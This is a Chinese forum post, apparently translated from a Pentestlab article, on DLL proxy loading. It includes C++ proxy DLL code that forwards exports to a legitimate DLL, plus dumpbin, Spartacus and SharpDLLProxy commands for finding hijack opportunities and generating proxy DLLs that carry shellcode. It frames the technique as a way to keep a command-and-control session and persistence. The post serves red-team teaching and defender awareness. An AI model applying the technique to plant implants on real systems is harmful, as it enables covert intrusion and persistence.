|
这篇文章主要讨论了DLL代理加载技术,它是一种用于加载任意DLL并将其导出函数与合法DLL相同的函数进行转发的方法。这个技术通常被用作DLL劫持的一种更隐蔽的替代方式,以确保二进制文件的正常执行,而不中断进程的原始操作。文章提供了技术背景、代码示例以及相关工具的介绍,以及如何识别和利用DLL代理加载机会。
核心技术包括:
DLL代理加载: 将任意DLL植入到与合法DLL相同的目录中,并通过代理与原始DLL相同的导出来实现转发。
植入代码: 代理DLL将在可信进程的上下文中执行,从而确保代理加载的代码得以运行。
识别合法DLL导出函数: 通过工具如DLL导出查看器或者Visual Studio的二进制文件检查工具,可以获取合法DLL的导出函数信息。
生成代理DLL: 使用工具如SharpDLLProxy可以从合法DLL中检索导出的函数,并生成可用于DLL侧面加载的代理DLL模板。
DLL 代理加载是一种技术,任意 DLL 导出与合法 DLL 相同的函数,并将调用转发给合法 DLL,以尝试不中断执行流程,从而使二进制文件正常执行。该技术属于DLL 劫持的范畴,它通常被用作一种更隐蔽的方法来加载任意 DLL,而不会破坏进程的原始操作,这对于防御者来说可能是妥协的迹象。
当进程启动时,DLL 也会被加载并调用导出的函数,如下图所示:
动态链接库加载
DLL 代理加载技术需要将任意 DLL 植入到与合法 DLL 相同的目录中并具有相同的名称,并且将代理与原始 DLL 相同的导出。然而,任意 DLL 也会加载植入代码,因此代码将在可信进程的上下文中执行。
DLL代理加载
以下 DLL 代码导出以下函数:
exportedFunction1
exportedFunction2
exportedFunction3
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern "C" __declspec(dllexport) VOID exportedFunction1(int a)
{
MessageBoxA(NULL, "Pentestlab exportedFunction1", "Pentestlab exportedFunction1", 0);
}
extern "C" __declspec(dllexport) VOID exportedFunction2(int a)
{
MessageBoxA(NULL, "Pentestlab exportedFunction2", "Pentestlab exportedFunction2", 0);
}
extern "C" __declspec(dllexport) VOID exportedFunction3(int a)
{
MessageBoxA(NULL, "Pentestlab exportedFunction3", "Pentestlab exportedFunction3", 0);
}
可信DLL
执行 DLL 将验证代码是否正常运行。
rundll32 DLL-Proxying.dll,exportedFunction1
DLL 代理加载 – 消息框
从进攻的角度来看,在开发任意 DLL 之前,需要识别合法 DLL 的导出函数。这对于 DLL 导出查看器是可行的。
DLL 导出查看器
或者,Visual Studio 包含一个可用于检索导出函数的二进制文件。
dumpbin.exe /exports C:\temp\DLL-Proxying.dll
DLL 导出 – Dumpbin
在代理 DLL 上,源代码中的注释指令将与合法 DLL 的导出函数相匹配。
#include "pch.h"
#pragma comment(linker, "/export:exportedFunction1=trusted1.exportedFunction1")
#pragma comment(linker, "/export:exportedFunction2=trusted1.exportedFunction2")
#pragma comment(linker, "/export:exportedFunction3=trusted1.exportedFunction3")
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxA(NULL, "DLL Proxy Loading", "DLL Proxy Loading", 0);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DLL代理
同样,使用dumpbin二进制文件将验证导出的函数。
dumpbin.exe /exports C:\Users\panag\source\repos\Pentestlab\DLL-Proxying\x64\Release\DLL-Proxying.dll
DLL 导出函数 – Dumpbin
DLL 的执行将验证导出的函数是否链接到受信任的 DLL。
rundll32.exe DLL-Proxying.dll,pentestlab
DLL 代理加载 – MessageBox
Accenture 开发了一种名为Spartacus 的工具,可用于识别 DLL 代理机会。
Spartacus.exe --mode detect
斯巴达克斯 – DLL 代理检测
与 Process Monitor 结合使用,还可以识别 DLL 劫持机会并将输出导出到 CSV 文件。
Spartacus.exe --mode dll --procmon Procmon64.exe --pml test.plm --csv ./output.csv --exports . --verbose
斯巴达克斯 – DLL 劫持
Melvin Langvik开发了一个名为SharpDLLProxy的工具,该工具从合法 DLL 中检索导出的函数,并生成可用于 DLL 侧面加载的代理 DLL 模板。
SharpDLLProxy.exe --dll libnettle-8.dll --payload shellcode.bin
SharpDLL代理
该工具将自动抓取导出的函数并生成 DLL 代码。应该注意的是,shellcode 应该以二进制文件 (.bin) 的形式放置在磁盘上。
SharpProxyDLL – DLL 代理代码
一旦执行相关进程,代理 DLL 将加载任意代码,并将导出的函数转发给合法 DLL,以使应用程序能够正常运行。需要注意的是,合法DLL应该被重命名,并且代理DLL应该包含与合法DLL文件相同的名称。
ftp
每次在系统上执行相关进程时都会建立命令和控制会话。从持久性的角度来看,选择通用的Windows进程是至关重要的。
DLL 代理加载 – C2
DLL代理加载——植入
代理DLL将在进程的内存空间中运行。
DLL 代理加载 – 线程
参考
https://www.ired.team/offective- ... ing-for-persistence
https://github.com/tothi/dll-hijack-by-proxying
https://github.com/Flangvik/SharpDllProxy
https://www.cobaltstrike.com/blo ... l-with-artifact-kit
https://redteaming.co.uk/2020/07 ... favorite-c-implant/
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|